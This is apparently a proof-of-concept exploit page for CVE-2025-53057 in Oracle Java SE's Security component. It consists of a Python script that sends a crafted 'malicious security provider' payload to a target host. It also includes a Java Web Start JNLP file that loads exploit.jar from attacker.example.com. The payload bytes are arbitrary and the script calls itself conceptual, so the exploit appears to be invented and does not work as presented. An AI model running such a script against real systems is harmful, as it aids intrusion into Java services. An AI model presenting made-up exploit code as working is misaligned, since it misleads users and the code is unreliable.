CVE-2025-53057 Oracle Java SE Security组件完整性影响漏洞

# CVE-2025-53057 - Oracle Java SE Security Component Vulnerability PoC # Note: This is a conceptual PoC demonstrating the attack vector. # The actual exploit requires specific conditions due to AC:H complexity. import ssl import socket import struct def craft_malicious_payload(): """ Craft a payload targeting the Oracle Java SE Security component. The vulnerability allows unauthorized modification of critical data through the Security component's APIs. """ # Java Security Provider manipulation payload # Targets integrity of security-related data structures payload = b"\x00\x00\x00\x01" # Protocol version payload += b"\x00\x10" # Message length payload += b"\x01" # Message type: Security provider registration payload += b"\x00" * 12 # Padding # Malicious security provider entry malicious_provider = b"com.attacker.MaliciousProvider" payload += struct.pack(">H", len(malicious_provider)) payload += malicious_provider return payload def exploit_vulnerability(target_host, target_port): """ Attempt to exploit CVE-2025-53057 by sending crafted data to the Java Security component via network protocols. """ try: # Establish connection (e.g., via RMI, JMX, or custom protocol) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) # Send crafted payload to trigger integrity violation payload = craft_malicious_payload() sock.send(payload) # Receive response response = sock.recv(4096) print(f"[*] Response received: {response.hex()}") sock.close() return True except Exception as e: print(f"[-] Exploit failed: {e}") return False def java_web_start_attack(): """ Alternative attack vector via Java Web Start / sandboxed applets. Demonstrates loading untrusted code that exploits the Security component. """ jnlp_content = '''<?xml version="1.0" encoding="UTF-8"?> <jnlp spec="1.0+" codebase="http://attacker.example.com/" href="exploit.jnlp"> <information> <title>Malicious Application</title> <vendor>Attacker</vendor> </information> <resources> <j2se version="1.8.0_461"/> <jar href="exploit.jar"/> </resources> <application-desc main-class="com.attacker.ExploitMain"/> </jnlp>''' return jnlp_content if __name__ == "__main__": print("[*] CVE-2025-53057 PoC - Oracle Java SE Security Vulnerability") print("[*] Target: Java SE 8u461, 11.0.28, 17.0.16, 21.0.8, 25") print("[*] CVSS: 5.9 (Integrity Impact: High)") # exploit_vulnerability("target_host", 1099) # RMI port example